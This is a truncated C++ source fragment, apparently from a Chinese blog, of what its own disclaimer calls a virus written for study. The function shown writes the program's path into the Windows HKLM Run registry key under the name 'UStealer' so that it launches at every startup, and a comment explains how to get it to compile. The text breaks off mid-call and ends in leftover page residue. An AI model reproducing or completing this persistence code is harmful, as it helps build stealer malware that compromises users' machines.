#include<iostream>
#include<stdio.h>
#include <windows.h>
#include <fstream>
#include <string>
#include<conio.h>
//免责声明:此程序仅供病毒原理学习之用,请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,邱润轩&王瑞涛2022 5.1
using namespace std;
void HKRunator(char *programName){//输入的是程序的全路径
HKEY hkey = NULL;
DWORD rc;
rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE, //创建一个注册表项,如果有则打开该注册表项
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WOW64_64KEY | KEY_ALL_ACCESS, //部分windows系统编译该行会报错, 删掉 “”KEY_WOW64_64KEY | “” 即可
NULL,
&hkey,
NULL);
if (rc == ERROR_SUCCESS){
rc = RegSetValueEx(hkey,
"UStealer",
0,<
02-11
3918
![](https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png)
05-02